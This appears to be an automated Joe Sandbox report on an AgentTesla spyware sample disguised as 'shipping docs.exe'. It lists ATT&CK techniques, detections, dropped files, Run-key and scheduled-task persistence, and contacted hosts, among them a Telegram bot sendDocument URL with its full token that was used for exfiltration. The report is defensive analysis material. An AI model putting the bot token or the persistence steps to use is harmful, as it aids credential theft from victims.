Source: Yara match	File source: Process Memory Space: shipping docs.exe PID: 2400, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: shipping docs.exe PID: 3776, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yVGAJfiVEvtg.exe PID: 3680, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VMqTMMD.exe PID: 5228, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	211 Windows Management Instrumentation	1 Scheduled Task/Job	111 Process Injection	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	Exfiltration Over Other Network Medium	1 Web Service	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 Deobfuscate/Decode Files or Information	1 Input Capture	114 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	2 Obfuscated Files or Information	1 Credentials in Registry	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	3 Software Packing	NTDS	311 Security Software Discovery	Distributed Component Object Model	1 Input Capture	Scheduled Transfer	3 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	1 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	131 Virtualization/Sandbox Evasion	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	111 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Hidden Files and Directories	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
shipping docs.exe	73%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
shipping docs.exe	47%	Virustotal		Browse
shipping docs.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	73%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	73%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
3.0.shipping docs.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8		Download File

Domains

Source	Detection	Scanner	Label	Link
c-0001.c-msedge.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.carterandcone.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://www.fontbureau.comgrita	0%	URL Reputation	safe
http://www.s.$	0%	Avira URL Cloud	safe
https://api.telegram.org4	0%	URL Reputation	safe
https://api.telegram.org4	0%	URL Reputation	safe
http://DynDns.comDynDNSnamejidpasswordPsi/Psi	0%	URL Reputation	safe
http://www.sajatypeworks.comteP$	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/O	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/$	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/Y	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/	0%	URL Reputation	safe
http://en.w	0%	URL Reputation	safe
https://JIQ1JKgQReGyOBe.com	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/=	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.founder.com.cn/cn/	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.fontbureau.comm	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.founder.com.cn/cnu-h	0%	URL Reputation	safe
http://www.fonts.com8	0%	URL Reputation	safe
http://www.founder.com.cn/cn%	0%	URL Reputation	safe
http://www.sandoll.co.krT	0%	Avira URL Cloud	safe
http://www.sandoll.co.krigh	0%	Avira URL Cloud	safe
http://Unbjpy.com	0%	Avira URL Cloud	safe
http://www.fonts.comtteJ	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cnlJ	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/ko	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
c-0001.c-msedge.net	13.107.4.50	true	false	0%, Virustotal, Browse	unknown
api.telegram.org	149.154.167.220	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot5676971476:AAFdGsXW8kwzXNIluAGV-a4sJ2XBy68O9WI/sendDocument	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:HTTP/1.1	shipping docs.exe, 00000003.00000002.518422910.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, yVGAJfiVEvtg.exe, 00000012.00000002.520653491.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 00000015.00000002.518773451.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.fontbureau.com/designersG	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://api.telegram.org	shipping docs.exe, 00000003.00000002.534292549.0000000003336000.00000004.00000800.00020000.00000000.sdmp, yVGAJfiVEvtg.exe, 00000012.00000002.537543749.000000000349A000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 00000015.00000002.534577687.00000000031EE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers?	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.s.$	shipping docs.exe, 00000000.00000003.239908062.0000000005493000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240179699.0000000005493000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240220486.0000000005493000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.239881609.0000000005491000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240113755.0000000005493000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.tiro.com	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240459510.000000000548B000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240423951.000000000548B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.245303030.0000000005479000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.245545950.000000000547D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.com	shipping docs.exe, 00000000.00000003.242487064.0000000005480000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot5676971476:AAFdGsXW8kwzXNIluAGV-a4sJ2XBy68O9WI/1644584536%discordapi%yyy	VMqTMMD.exe, 00000015.00000002.518773451.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sajatypeworks.comteP$	shipping docs.exe, 00000000.00000003.239908062.0000000005493000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240179699.0000000005493000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240220486.0000000005493000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.239881609.0000000005491000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240113755.0000000005493000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.sajatypeworks.com	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240049534.0000000005494000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.239908062.0000000005493000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240150934.0000000005494000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240179699.0000000005493000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240220486.0000000005493000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.239973997.0000000005494000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240136652.0000000005494000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.239881609.0000000005491000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.239942097.0000000005494000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240113755.0000000005493000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240076834.0000000005494000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://JIQ1JKgQReGyOBe.com	VMqTMMD.exe, 00000015.00000002.533512375.00000000031B2000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 00000015.00000002.518773451.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 00000015.00000002.534481256.00000000031E8000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 00000015.00000002.534906198.0000000003201000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cn/cThe	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sandoll.co.krigh	shipping docs.exe, 00000000.00000003.241289310.0000000005479000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot5676971476:AAFdGsXW8kwzXNIluAGV-a4sJ2XBy68O9WI/	shipping docs.exe, 00000003.00000002.518422910.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, yVGAJfiVEvtg.exe, 00000012.00000002.520653491.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 00000015.00000002.518773451.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/staff/dennis.htm	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240423951.000000000548B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comgrita	shipping docs.exe, 00000000.00000003.264268952.0000000005470000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org4	shipping docs.exe, 00000003.00000002.534292549.0000000003336000.00000004.00000800.00020000.00000000.sdmp, yVGAJfiVEvtg.exe, 00000012.00000002.537543749.000000000349A000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 00000015.00000002.534577687.00000000031EE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://Unbjpy.com	VMqTMMD.exe, 00000015.00000002.518773451.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sandoll.co.krT	shipping docs.exe, 00000000.00000003.241289310.0000000005479000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://DynDns.comDynDNSnamejidpasswordPsi/Psi	VMqTMMD.exe, 00000015.00000002.518773451.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fonts.comtteJ	shipping docs.exe, 00000000.00000003.240136652.0000000005494000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/DPlease	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/jp/O	shipping docs.exe, 00000000.00000003.243601775.0000000005474000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fonts.com	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240126460.000000000548B000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240159233.000000000548B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/$	shipping docs.exe, 00000000.00000003.243601775.0000000005474000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	shipping docs.exe, 00000000.00000002.265489624.0000000002481000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000003.00000002.534292549.0000000003336000.00000004.00000800.00020000.00000000.sdmp, yVGAJfiVEvtg.exe, 00000004.00000002.364468167.0000000002C61000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 0000000F.00000002.373989607.0000000002D06000.00000004.00000800.00020000.00000000.sdmp, yVGAJfiVEvtg.exe, 00000012.00000002.537543749.000000000349A000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 00000015.00000002.534577687.00000000031EE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sakkal.com	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/Y	shipping docs.exe, 00000000.00000003.243601775.0000000005474000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www	shipping docs.exe, 00000003.00000002.518422910.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, yVGAJfiVEvtg.exe, 00000012.00000002.520653491.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 00000015.00000002.518773451.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/jp/	shipping docs.exe, 00000000.00000003.243601775.0000000005474000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://en.w	shipping docs.exe, 00000000.00000003.239628147.0000000000BDD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/=	shipping docs.exe, 00000000.00000003.243601775.0000000005474000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/ko	shipping docs.exe, 00000000.00000003.243601775.0000000005474000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.coml	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/	shipping docs.exe, 00000000.00000003.242044098.0000000005474000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.241799498.00000000054AD000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.241823423.0000000005474000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.242049495.0000000005479000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers-	shipping docs.exe, 00000000.00000003.245303030.0000000005479000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/frere-jones.html	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.comm	shipping docs.exe, 00000000.00000003.264268952.0000000005470000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.243601775.0000000005474000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	false		high
http://api.telegram.org	shipping docs.exe, 00000003.00000002.534617829.000000000334B000.00000004.00000800.00020000.00000000.sdmp, yVGAJfiVEvtg.exe, 00000012.00000002.537871887.00000000034AF000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 00000015.00000002.534906198.0000000003201000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cnu-h	shipping docs.exe, 00000000.00000003.241799498.00000000054AD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fonts.com8	shipping docs.exe, 00000000.00000003.240136652.0000000005494000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240113755.0000000005493000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn%	shipping docs.exe, 00000000.00000003.241799498.00000000054AD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cnlJ	shipping docs.exe, 00000000.00000003.241823423.0000000005474000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.242158018.000000000547B000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.242049495.0000000005479000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom		62041	TELEGRAMRU	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	756232
Start date and time:	2022-11-29 21:18:08 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	shipping docs.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@19/9@3/2
EGA Information:	Successful, ratio: 100%
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 83 Number of non-executed functions: 11
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 209.197.3.8
Excluded domains from analysis (whitelisted): fs.microsoft.com, ctldl.windowsupdate.com, cds.d2s7q6s2.hwcdn.net, wu-bg-shim.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
21:19:06	API Interceptor	602x Sleep call for process: shipping docs.exe modified
21:19:09	Task Scheduler	Run new task: yVGAJfiVEvtg path: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe
21:19:18	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run VMqTMMD C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe
21:19:26	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run VMqTMMD C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe
21:19:28	API Interceptor	113x Sleep call for process: yVGAJfiVEvtg.exe modified
21:19:41	API Interceptor	193x Sleep call for process: VMqTMMD.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
149.154.167.220	BL-SHIPPING DOCUMENTS.exe	Get hash	malicious	Browse
	scan Document_SA26844823746789e.PDF.html	Get hash	malicious	Browse
	Ziraat-bankasiSwiftMessaji2911202245344.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Win32.PWSX-gen.7918.18477.exe	Get hash	malicious	Browse
	AWB DHL 7214306201 Shipment.pdf (432).exe	Get hash	malicious	Browse
	SecuriteInfo.com.Win32.PWSX-gen.7585.24753.exe	Get hash	malicious	Browse
	IMG_2022028022-0120.vbs	Get hash	malicious	Browse
	hesaphareketi-01.pdf.exe	Get hash	malicious	Browse
	PO.exe	Get hash	malicious	Browse
	500 126.html	Get hash	malicious	Browse
	500 126.html	Get hash	malicious	Browse
	Carta de pago.exe	Get hash	malicious	Browse
	INVOICE SHIPPING-PACKING LIST.exe	Get hash	malicious	Browse
	FedEx Express AWB#53053232097Receipt.exe	Get hash	malicious	Browse
	Rfq#Specification.exe	Get hash	malicious	Browse
	SHIPPING INVOICE-PACKING LIST DOCS.exe	Get hash	malicious	Browse
	IMG_202202811-0443.vbs	Get hash	malicious	Browse
	hesaphareketi-01.exe	Get hash	malicious	Browse
	DHLDOCUMENTS27011222.exe	Get hash	malicious	Browse
	Halkbank.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
api.telegram.org	BL-SHIPPING DOCUMENTS.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Win32.CrypterX-gen.23740.23288.exe	Get hash	malicious	Browse	149.154.167.220
	scan Document_SA26844823746789e.PDF.html	Get hash	malicious	Browse	149.154.167.220
	Ziraat-bankasiSwiftMessaji2911202245344.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Win32.PWSX-gen.7918.18477.exe	Get hash	malicious	Browse	149.154.167.220
	AWB DHL 7214306201 Shipment.pdf (432).exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Win32.PWSX-gen.7585.24753.exe	Get hash	malicious	Browse	149.154.167.220
	IMG_2022028022-0120.vbs	Get hash	malicious	Browse	149.154.167.220
	hesaphareketi-01.pdf.exe	Get hash	malicious	Browse	149.154.167.220
	PO.exe	Get hash	malicious	Browse	149.154.167.220
	500 126.html	Get hash	malicious	Browse	149.154.167.220
	500 126.html	Get hash	malicious	Browse	149.154.167.220
	Carta de pago.exe	Get hash	malicious	Browse	149.154.167.220
	INVOICE SHIPPING-PACKING LIST.exe	Get hash	malicious	Browse	149.154.167.220
	FedEx Express AWB#53053232097Receipt.exe	Get hash	malicious	Browse	149.154.167.220
	Rfq#Specification.exe	Get hash	malicious	Browse	149.154.167.220
	SHIPPING INVOICE-PACKING LIST DOCS.exe	Get hash	malicious	Browse	149.154.167.220
	IMG_202202811-0443.vbs	Get hash	malicious	Browse	149.154.167.220
	hesaphareketi-01.exe	Get hash	malicious	Browse	149.154.167.220
	DHLDOCUMENTS27011222.exe	Get hash	malicious	Browse	149.154.167.220
c-0001.c-msedge.net	OAeO1VtpMo.exe	Get hash	malicious	Browse	13.107.4.50
	SecuriteInfo.com.Win32.CrypterX-gen.12191.6105.exe	Get hash	malicious	Browse	13.107.4.50
	http://xmas-art.ru/fo/ufmavtiwaehat-sejautfoja/haotwaep/376197/?T=44g47k0c-8q-1q1QZ44igflammatiojb&vfilclszdwwrqimq5-t-nsnba=contyasseursSZ6J2	Get hash	malicious	Browse	13.107.4.50
	MACHINE SPECIFICATIONS.exe	Get hash	malicious	Browse	13.107.4.50
	Iwutiwno.dll.dll	Get hash	malicious	Browse	13.107.4.50
	kW1RcHd3Np.exe	Get hash	malicious	Browse	13.107.4.50
	Urgent quote request -pdf-.exe	Get hash	malicious	Browse	13.107.4.50
	094089010-094098574-1669343495-1669343493-2332.html	Get hash	malicious	Browse	13.107.4.50
	LhLntDLA0i.exe	Get hash	malicious	Browse	13.107.4.50
	stGLUBW7kG.exe	Get hash	malicious	Browse	13.107.4.50
	file.exe	Get hash	malicious	Browse	13.107.4.50
	I8Kmld8K8U.exe	Get hash	malicious	Browse	13.107.4.50
	CamScanner-397841.exe	Get hash	malicious	Browse	13.107.4.50
	UPDATED SOA (2).exe	Get hash	malicious	Browse	13.107.4.50
	2022#U5e74#U4e2a#U4eba#U52b3#U52a8#U8865#U8d34.docx.doc	Get hash	malicious	Browse	13.107.4.50
	REMITTANCE COPY.exe	Get hash	malicious	Browse	13.107.4.50
	TNT Invoice_pdf.exe	Get hash	malicious	Browse	13.107.4.50
	n2cFuTcuzL.exe	Get hash	malicious	Browse	13.107.4.50
	file.exe	Get hash	malicious	Browse	13.107.4.50
	SecuriteInfo.com.Trojan.PackedNET.1617.17943.11881.exe	Get hash	malicious	Browse	13.107.4.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
